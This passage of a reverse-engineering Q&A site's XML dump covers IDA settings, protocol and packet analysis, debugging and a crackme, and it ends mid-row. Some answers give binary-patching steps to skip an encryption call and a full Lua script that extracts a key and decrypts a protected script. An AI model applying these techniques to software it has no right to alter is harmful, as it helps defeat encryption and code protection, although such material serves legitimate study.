  <row Id="10850" PostTypeId="1" AcceptedAnswerId="10851" CreationDate="2015-09-13T07:54:06.430" Score="0" ViewCount="159" Body="&lt;p&gt;When I launch IDA for the first time, I move my windows to reflect my perfect window setup. Then I save the desktop and set it as default, plus I additionally save a named backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, I close IDA, launch it again, and everything works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after some time (days-weeks) I get message: &quot;incompatible saved desktop has been ignored&quot; and my desktop is completely reset to default. Restoring the desktop from the backup results in the same message. This has already happened a couple of times and each time it was very annoying. What is the reason for this behavior and how can I keep my desktop?&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2015-09-13T07:54:06.430" Title="&quot;Incompatible saved desktop has been ignored&quot; in IDA" Tags="|ida|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostTypeId="2" ParentId="10850" CreationDate="2015-09-13T07:54:06.430" Score="1" Body="&lt;p&gt;This message is shown if a user changes screen resolution between IDA restarts, which happens particularly often when using IDA inside a virtual machine (which gets arbitrary resolution unless it's launched fullscreen). So to keep the desktop, make sure to maintain the same screen resolution when launching IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested if the default desktop is overwritten as soon as IDA starts with different resolution than previous session. Having a named backup for this scenario certainly won't hurt.&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2015-09-13T07:54:06.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10852" PostTypeId="5" CreationDate="2015-09-13T12:46:23.723" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:46:23.723" LastActivityDate="2015-09-13T12:46:23.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostTypeId="4" CreationDate="2015-09-13T12:46:23.723" Score="0" Body="A system of rules designed to allow the communication between two or more participants. The two main types of protocols are either stateless protocols (UDP) or stateful protocols (TCP)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:46:23.723" LastActivityDate="2015-09-13T12:46:23.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostTypeId="5" CreationDate="2015-09-13T12:48:41.623" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:48:41.623" LastActivityDate="2015-09-13T12:48:41.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostTypeId="4" CreationDate="2015-09-13T12:48:41.623" Score="0" Body="The use of executable programs or scripts to achieve well-defined sequences of operations without human interaction." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:48:41.623" LastActivityDate="2015-09-13T12:48:41.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10856" PostTypeId="5" CreationDate="2015-09-13T12:51:23.867" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:51:23.867" LastActivityDate="2015-09-13T12:51:23.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10857" PostTypeId="4" CreationDate="2015-09-13T12:51:23.867" Score="0" Body="Acronym for 'Serial Peripheral Interface' (SPI), the SPI bus is a synchronous serial communication interface specification used for short distance communication, primarily in embedded systems." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:51:23.867" LastActivityDate="2015-09-13T12:51:23.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10858" PostTypeId="5" CreationDate="2015-09-13T12:54:17.937" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:54:17.937" LastActivityDate="2015-09-13T12:54:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10859" PostTypeId="4" CreationDate="2015-09-13T12:54:17.937" Score="0" Body="An instance of a computer program being executed in memory. It contains the program code and its current activity inside the same memory context." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-13T12:54:17.937" LastActivityDate="2015-09-13T12:54:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10860" PostTypeId="1" AcceptedAnswerId="11337" CreationDate="2015-09-14T06:19:10.407" Score="16" ViewCount="32403" Body="&lt;p&gt;Ultranet is a audio protocol that allows low latency audio with many channels to be transmitted over standard Ethernet cables. For instance you might have a Midas sound desk transmitting audio packets to a chain of personal mixers on a stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no documentation for it that I can find on the internet and I suspect that it's a &lt;a href=&quot;https://en.wikipedia.org/wiki/Audio_over_Ethernet&quot;&gt;Layer 1&lt;/a&gt; protocol. In that it uses the hardware for Ethernet (cables and sockets etc) but not the wire format. The reason I believe this is that when I plugged my Macbook into the Ultranet output of a sound desk there was no IP and Wireshark saw exactly nothing on the wire. I tried setting a manual IP with a very wide mask but still got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have in the past successfully decoded the &lt;a href=&quot;http://www.mymixaudio.com/&quot;&gt;Mymix&lt;/a&gt; protocol which is Layer 3. That just showed up as a packet stream in Wireshark... easy. Each packet had a header and a payload of 6 24bit samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing the procedure starts with maybe an oscilloscope on the wires themselves? Or is there other things that I should investigate? (I have no idea how to use an oscilloscope btw... I know mostly software stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there standard procedures for reverse engineering wire protocols?&lt;/p&gt;&#xA;" OwnerUserId="13551" LastActivityDate="2021-09-19T06:53:44.227" Title="How do I work out the Ultranet protocol?" Tags="|packet|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10862" PostTypeId="1" AcceptedAnswerId="10863" CreationDate="2015-09-14T08:38:44.290" Score="4" ViewCount="14475" Body="&lt;p&gt;I have an application that calls a subroutine before sending the data over socket and in that subroutine the packet is being encrypted. Is there any way to make application skip that subroutine and send the packet as non-encrypted ?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:06:30.770" LastActivityDate="2015-12-16T17:06:30.770" Title="Is it possible to make an application skip a call?" Tags="|ida|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10863" PostTypeId="2" ParentId="10862" CreationDate="2015-09-14T09:34:18.897" Score="10" Body="&lt;p&gt;As Dillinur wrote, you need to NOP out this call. To do that you may need a hex editor, like &lt;a href=&quot;http://www.x-ways.net/winhex/&quot; rel=&quot;noreferrer&quot;&gt;WinHex&lt;/a&gt;. To NOP out the subroutine, you have to determine from which address it is called. To see that address, in IDA go to &lt;strong&gt;Options -&gt; General&lt;/strong&gt; and mark &lt;strong&gt;Line Prefixes&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also nice to see which Opcodes you would like to NOP out. Go to &lt;strong&gt;Options -&gt; General&lt;/strong&gt; and write &lt;strong&gt;6&lt;/strong&gt; in the field &lt;strong&gt;Number of opcode bytes&lt;/strong&gt;. Then your IDA graph mode will look like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JRKL4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JRKL4.png&quot; alt=&quot;IDA Graph mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example, if I want to skip the foo-subroutine while execution, I need to set the opcode bytes &lt;em&gt;E8 DF E6 FF FF&lt;/em&gt; to &lt;em&gt;90 90 90 90 90&lt;/em&gt; (E8 is the call mnemonic and the rest are the offset bytes). 0x90 is the NOP opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To NOP out these bytes I open the executable in &lt;a href=&quot;http://www.x-ways.net/winhex/&quot; rel=&quot;noreferrer&quot;&gt;WinHex&lt;/a&gt; and search the offset 0x31CC (not 0x4031CC, because 0x400000 is the load address of my executable in IDA). Finally, when I've found the offset 0x31CC I look for the sequence of bytes E8 DF E6 FF FF and then edit them to 90 90 90 90 90. Save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you may think about NOPing out of the PUSH-instruction(s) preceding your subroutine in order to avoid errors in the succeeding code.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="12670" LastEditDate="2015-09-14T09:46:01.563" LastActivityDate="2015-09-14T09:46:01.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10864" PostTypeId="2" ParentId="9140" CreationDate="2015-09-14T11:13:40.080" Score="0" Body="&lt;p&gt;I solved this issue by creating a new section in IDA Pro (&lt;strong&gt;File -&gt; Segments -&gt; Create segment&lt;/strong&gt;). After that I dumped new section in OllyDBG (binary copy) and transferred it to the new created section in IDA Pro (with a Python script). After that I could analyse the code and write comments in IDA to make better analysis and documentation.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-09-14T11:13:40.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostTypeId="2" ParentId="10862" CreationDate="2015-09-14T12:50:02.360" Score="9" Body="&lt;p&gt;There is an &lt;em&gt;ida&lt;/em&gt; tag, but your question doesn't mention it, so let's do that with &lt;a href=&quot;http://radare.org&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; instead ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rhIkR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rhIkR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;aa&lt;/code&gt; to analyse the binary, &lt;code&gt;pdf&lt;/code&gt; to show the current function, &lt;code&gt;wx&lt;/code&gt; to write hexpairs, and &lt;code&gt;pdf&lt;/code&gt; again to check the result. It's also possible to use &lt;code&gt;&quot;wa nop;nop;nop;nop;nop&quot;&lt;/code&gt; instead, if you prefer writing instructions, or even better, the magical &lt;code&gt;wao nop&lt;/code&gt; command, to replace the &lt;strong&gt;current&lt;/strong&gt;&#xA; opcode with nop.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-09-14T12:50:02.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10868" PostTypeId="2" ParentId="10618" CreationDate="2015-09-14T15:45:13.933" Score="3" Body="&lt;p&gt;Since it is not used anymore I'll show you :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;SSL Decoder version 2.0&quot;)&#xA;print(&quot;Copyright (C) 2015&quot;)&#xA;print(&quot;Decoding Started...&quot;)&#xA;&#xA;local infilename = select(1,...)&#xA;local outfilename = select(2,...)&#xA;&#xA;local infile = io.open(infilename, &quot;r&quot;)&#xA;&#xA;if not infile then&#xA;  error(&quot;Failed to open input file.&quot;)&#xA;end&#xA;&#xA;local intext = infile:read(&quot;*a&quot;)&#xA;&#xA;infile:close()&#xA;&#xA;local ssltabletext = intext:match(&quot;SSL%s*%(%s*%{([%s,0-9]*)%}%s*%)&quot;)&#xA;&#xA;if not ssltabletext then&#xA;  error(&quot;Could not find ssl table in source file.&quot;)&#xA;end&#xA;&#xA;local ssltable = load(&quot;return {&quot;..ssltabletext..&quot;}&quot;)()&#xA;&#xA;if #ssltable &amp;lt; 255 then&#xA;  error(&quot;SSL table is too short -- can't find table encryption key.&quot;)&#xA;end&#xA;&#xA;-- find decryption key for the ssl table&#xA;local decrypt = {}&#xA;&#xA;decrypt[0] = 0&#xA;for i = 1,255 do&#xA;  local dec = i&#xA;  local enc = ssltable[i]&#xA;  assert(decrypt[enc] == nil)&#xA;  decrypt[enc] = dec&#xA;end&#xA;&#xA;-- decrypt ssl table&#xA;for i = 256, #ssltable - 256 do -- not sure what last 256 bytes are&#xA;  ssltable[i] = decrypt[ssltable[i] ]&#xA;end&#xA;&#xA;-- If this does a stack overflow, easy to change to something dumb but more robust&#xA;local sslcode = string.char(table.unpack(ssltable, 256, #ssltable - 256))&#xA;&#xA;-- This is interesting -- &#xA;--print(sslcode)&#xA;&#xA;local keyindex = sslcode:match(&quot;local Key%s*=%s*'()&quot;)&#xA;if not keyindex then&#xA;  error(&quot;Could not find key in decoded ssl table.&quot;)&#xA;end&#xA;&#xA;local key = sslcode:sub(keyindex)&#xA;&#xA;local length = 0&#xA;while true do&#xA;  local c = key:sub(length+1, length+1)&#xA;  if c == &quot;&quot; then&#xA;    error(&quot;Key string was not terminated.&quot;)&#xA;  elseif c == &quot;'&quot; then&#xA;    break&#xA;  elseif c == &quot;\\&quot; then&#xA;    local c2 = key:sub(length+2, length+2)&#xA;    if c2:match(&quot;%d&quot;) then&#xA;      local c3 = key:sub(length+3, length+3)&#xA;      if c3:match(&quot;%d&quot;) then&#xA;        local c4 = key:sub(length+4, length+4)&#xA;        if c4:match(&quot;%d&quot;) then&#xA;          length = length + 4&#xA;        else&#xA;          length = length + 3&#xA;        end&#xA;      else&#xA;        length = length + 2&#xA;      end&#xA;    elseif c2 == &quot;x&quot; then&#xA;      length = length + 4&#xA;    else&#xA;      length = length + 2&#xA;    end&#xA;  else&#xA;    length = length + 1&#xA;  end&#xA;end&#xA;&#xA;key = key:sub(1, length)&#xA;&#xA;if #key == 0 then&#xA;  error(&quot;Key is empty&quot;)&#xA;end&#xA;&#xA;print(&quot;Key Found! &amp;gt; &quot; .. key)&#xA;print(&quot;Decoding finished, outfile is at &amp;gt; &quot; .. outfilename)&#xA;&#xA;-- find base64&#xA;local b64 = intext:match(&quot;_G.ScriptCode%s*=%s*Base64Decode%s*%(%s*\&quot;([a-zA-Z0-9/+]*=*)\&quot;%s*%)&quot;)&#xA;if not b64 then&#xA;  error(&quot;Could not find Base-64 encrypted code in source file.&quot;)&#xA;end&#xA;&#xA;-- base64 decode&#xA;local b64val = {}&#xA;for i = 0, 25 do&#xA;  do&#xA;    local letter = string.byte(&quot;A&quot;)&#xA;    b64val[string.char(letter+i)] = i&#xA;  end&#xA;  do&#xA;    local letter = string.byte(&quot;a&quot;)&#xA;    b64val[string.char(letter+i)] = i + 26&#xA;  end&#xA;end&#xA;for i = 0, 9 do&#xA;  local numeral = string.byte(&quot;0&quot;)&#xA;  b64val[string.char(numeral+i)] = i + 52&#xA;end&#xA;b64val[&quot;+&quot;] = 62&#xA;b64val[&quot;/&quot;] = 63&#xA;b64val[&quot;=&quot;] = 0&#xA;&#xA;local encoded = b64:gsub(&quot;(.)(.)(.)(.)&quot;,function(a,b,c,d)&#xA;  local n = b64val[a] * (64 * 64 * 64) + b64val[b] * (64 * 64) + b64val[c] * 64 + b64val[d]&#xA;  local b1 = n % 256; n = (n - b1) / 256&#xA;  local b2 = n % 256; n = (n - b2) / 256&#xA;  local b3 = n&#xA;  if d == &quot;=&quot; then&#xA;    if c == &quot;=&quot; then&#xA;      assert(b1 == 0 and b2 == 0)&#xA;      return string.char(b3)&#xA;    else&#xA;      assert(b1 == 0)&#xA;      return string.char(b3, b2)&#xA;    end&#xA;  else&#xA;    return string.char(b3, b2, b1)&#xA;  end&#xA;end)&#xA;&#xA;-- decode&#xA;local decoded = encoded:gsub(&quot;()(.)&quot;, function(i, c)&#xA;  local b = c:byte()&#xA;  local ki = ((i - 1) % #key) + 1&#xA;  local k = key:byte(ki,ki)&#xA;  b = b - k&#xA;  if b &amp;lt; 0 then b = b + 256 end&#xA;  return string.char(b)&#xA;end)&#xA;&#xA;-- verify&#xA;local result, err = load(decoded)&#xA;if not result then&#xA;  error(&quot;Decoded file could not be loaded -- it may be corrupt... (&quot;..tostring(err)..&quot;)&quot;)&#xA;end&#xA;&#xA;-- output&#xA;local outfile = io.open(outfilename, &quot;wb&quot;)&#xA;&#xA;if not outfile then&#xA;  error(&quot;Failed to open output file.&quot;)&#xA;end&#xA;&#xA;outfile:write(decoded)&#xA;&#xA;outfile:close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13556" LastEditorUserId="1413" LastEditDate="2015-09-14T17:06:26.567" LastActivityDate="2015-09-14T17:06:26.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10869" PostTypeId="2" ParentId="4615" CreationDate="2015-09-14T15:53:37.837" Score="2" Body="&lt;p&gt;This is somewhat old, but I was unable to perform the same task as the OP -- that is, to find a tool that would properly unpack a ZyNOS firmware update image. So I rolled my own. Please grab and try it on your image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dev-zzo/router-tools/blob/master/zynos.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dev-zzo/router-tools/blob/master/zynos.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool does not support packing the image back at the moment, but I am working on it.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2015-09-14T15:53:37.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10871" PostTypeId="1" AcceptedAnswerId="10872" CreationDate="2015-09-16T10:57:35.347" Score="3" ViewCount="506" Body="&lt;p&gt;I have a packet that I want to analyze which consists 16 bytes. I can produce as much as of these packets needed to analyze. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though packet does the same thing on application the data in the packet seems to be changed each time. It works when I record the old packet and use it next time application runs. It also works when first or last 8 bytes are replaced with bytes from previously recorded packets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to be able to produce these packets myself. Here's some recorded packets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x66, 0x39, 0x17, 0x15, 0xcc, 0xa1, 0x8a, 0x61&#xA;0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xed, 0x55, 0x26, 0x19, 0xf6, 0x15, 0x6b, 0xb1&#xA;0x08, 0xb9, 0xd7, 0xe9, 0xa8, 0x80, 0xea, 0x8c, 0x18, 0x5e, 0x92, 0xc5, 0xb7, 0x1a, 0xed, 0xf7&#xA;0x2a, 0x12, 0x1c, 0x71, 0x36, 0x00, 0xb3, 0x6f, 0xbb, 0x7b, 0x57, 0x65, 0xe5, 0xa7, 0x45, 0xd4&#xA;0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xcf, 0x5a, 0x95, 0xaa, 0x41, 0x88, 0xd3, 0xf1&#xA;0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x20, 0x68, 0x45, 0x26, 0x2d, 0xce, 0xc8, 0x32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-09-16T19:23:28.700" LastActivityDate="2015-09-16T19:23:28.700" Title="How to analyze packets?" Tags="|protocol|packet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10872" PostTypeId="2" ParentId="10871" CreationDate="2015-09-16T13:47:02.550" Score="3" Body="&lt;p&gt;It may be the case that it's &lt;a href=&quot;https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29&quot; rel=&quot;nofollow&quot;&gt;CBC-encrypted&lt;/a&gt; data, with the first field being a nonce. Or one of many other possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, as Guntram said in his comment above, you'd need to reverse engineer the software to determine how this data is parsed.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-16T13:47:02.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10873" PostTypeId="5" CreationDate="2015-09-16T20:19:21.473" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:19:21.473" LastActivityDate="2015-09-16T20:19:21.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10874" PostTypeId="4" CreationDate="2015-09-16T20:19:21.473" Score="0" Body="A formatted unit of data carried by a network. This is the smallest unit of data that you can capture on  packet-switched networks." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:19:21.473" LastActivityDate="2015-09-16T20:19:21.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10875" PostTypeId="5" CreationDate="2015-09-16T20:20:25.533" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:20:25.533" LastActivityDate="2015-09-16T20:20:25.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostTypeId="4" CreationDate="2015-09-16T20:20:25.533" Score="0" Body="Cyclic redundancy check (CRC) is an error-detecting code commonly used in digital networks and storage devices to detect accidental changes to raw data." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:20:25.533" LastActivityDate="2015-09-16T20:20:25.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10877" PostTypeId="5" CreationDate="2015-09-16T20:24:58.563" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:24:58.563" LastActivityDate="2015-09-16T20:24:58.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10878" PostTypeId="4" CreationDate="2015-09-16T20:24:58.563" Score="0" Body="Part of a process memory that stores all the automatic variables and the call-stack of the functions currently called by the process." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:24:58.563" LastActivityDate="2015-09-16T20:24:58.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostTypeId="5" CreationDate="2015-09-16T20:28:10.537" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:28:10.537" LastActivityDate="2015-09-16T20:28:10.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostTypeId="4" CreationDate="2015-09-16T20:28:10.537" Score="0" Body="Refers to the version 8 of the Windows operating systems designed by Microsoft. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:28:10.537" LastActivityDate="2015-09-16T20:28:10.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10881" PostTypeId="5" CreationDate="2015-09-16T20:38:43.513" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:38:43.513" LastActivityDate="2015-09-16T20:38:43.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostTypeId="4" CreationDate="2015-09-16T20:38:43.513" Score="0" Body="Exclusive or (xor) is a logical operation that outputs true only when both inputs differ (one is true, the other is false)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-16T20:38:43.513" LastActivityDate="2015-09-16T20:38:43.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10883" PostTypeId="1" AcceptedAnswerId="10886" CreationDate="2015-09-16T21:12:28.210" Score="1" ViewCount="181" Body="&lt;p&gt;Recently was doing some pydbg testing, so I had to remove the AeDebug entry (which determines the JIT debugger) in the registry, and Windbg was (and is) my JIT debugger. Exported the key before deleting it. It was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the values were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Default) REG_SZ (value not set)&#xA;Auto REG_SZ 1&#xA;Debugger REG_SZ &quot;C:\...\windbg.exe&quot; -p %ld -e %ld -g&#xA;UserDebuggerHotKey REG_DWORD 0x00000000 (0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I had to test some other stuff in Windbg, so I added the exported AeDebug key in the .reg file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I attempt to run a few test assembly programs that contact int 3h/0xCC (which should make Windbg come up as my JIT debugger) instead my system freezes with no BSOD, and I have to power off/turn back on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deleted all of AeDebug and re-ran &quot;windbg -I&quot; to register it as my JIT debugger. However, I still get system freezes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! It only occurs so far when code Im running contains an int 3h breakpoint in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running an assembly (masm32) program that I compiled with the following to test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.586&#xA;.model flat, stdcall&#xA;&#xA;option casemap:none&#xA;&#xA;includelib \masm32\lib\kernel32.lib&#xA;includelib \masm32\lib\user32.lib&#xA;&#xA;include \masm32\include\kernel32.inc&#xA;include \masm32\include\user32.inc&#xA;include \masm32\include\windows.inc&#xA;&#xA;.code&#xA;start:&#xA;xor eax, eax&#xA;xor ebx, ebx&#xA;xor ecx, ecx&#xA;xor edx, edx&#xA;int 3h&#xA;invoke ExitProcess, 0&#xA;END start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the system still freezes. When I run windbg first and I step out of the breakpoint, it exits like normal but doesn't feeze my whole system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get normal breakpoints again that dont cause undefined behavior?&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-09-17T07:46:58.547" Title="Windows 7x86 System Freezes when running assembly program with int 3h" Tags="|windows|assembly|debugging|windbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10885" PostTypeId="2" ParentId="10883" CreationDate="2015-09-16T22:41:15.573" Score="1" Body="&lt;p&gt;It wasn't clear from your question if the x86 in the title is concerning the processor or the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are actually running on a 64-bit processor/OS, but running a 32-bit app, then you possibly set the wrong AeDebug key. There is one for 32-bit applications and one for 64-bit applications. Make sure you are setting both of them to the appropriate version of windbg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug&#xA;HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-09-16T22:41:15.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostTypeId="2" ParentId="10883" CreationDate="2015-09-17T07:46:58.547" Score="1" Body="&lt;p&gt;This occurs when you have kernel debugging enabled, but have not attached a kernel debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short the freeze occurs when,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Kernel debugging is enabled.&lt;/li&gt;&#xA;&lt;li&gt;A kernel debugger is not attached. (If it was, control would be transferred to it).&lt;/li&gt;&#xA;&lt;li&gt;Jit debugger is enabled/disabled (doesn't matter).&lt;/li&gt;&#xA;&lt;li&gt;App is &lt;strong&gt;not being actively debugged&lt;/strong&gt; by a usermode debugger like WindDbg or OllyDbg.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;Windows XP&lt;/em&gt;, see the contents of &lt;code&gt;boot.ini&lt;/code&gt;.&#xA;If &lt;code&gt;boot.ini&lt;/code&gt; has a &lt;code&gt;/debug&lt;/code&gt; flag it means kernel debugging is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;Windows 7&lt;/em&gt; and above you can use &lt;code&gt;bcdedit&lt;/code&gt; or &lt;code&gt;msconfig&lt;/code&gt;.&#xA;You can also use the command &lt;code&gt;bcdedit | findstr debug&lt;/code&gt; to check if debug flag has been enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the problem, just remove the debug flag from your boot entry.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-09-17T07:46:58.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10888" PostTypeId="1" CreationDate="2015-09-17T14:19:56.550" Score="0" ViewCount="3157" Body="&lt;p&gt;Is there a way to modify one or more bytes in memory without making any changes in the database? I know about idc.PatchByte() in idapython, but it will print the message that states that 'This database has been patched' on the next run.&lt;/p&gt;&#xA;" OwnerUserId="12457" LastActivityDate="2023-01-20T00:17:41.423" Title="Modify memory without patching the database" Tags="|ida|idapython|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10892" PostTypeId="1" AcceptedAnswerId="10895" CreationDate="2015-09-17T22:41:56.943" Score="4" ViewCount="1439" Body="&lt;p&gt;I have encountered a quite obscure 32-bit ELF file (that is a crackme) and I still cannot figure out how can it execute. First, beside some &quot;understandable&quot; property that it has not any section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# readelf --sections SimpleVM&#xA;&#xA;There are no sections in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Considering the segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# readelf --segments SimpleVM&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0xc023dc&#xA;There are 2 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  LOAD           0x000000 0x00c01000 0x00c01000 0x013c7 0x013c7 RWE 0x1000&#xA;  LOAD           0x00019c 0x0804b19c 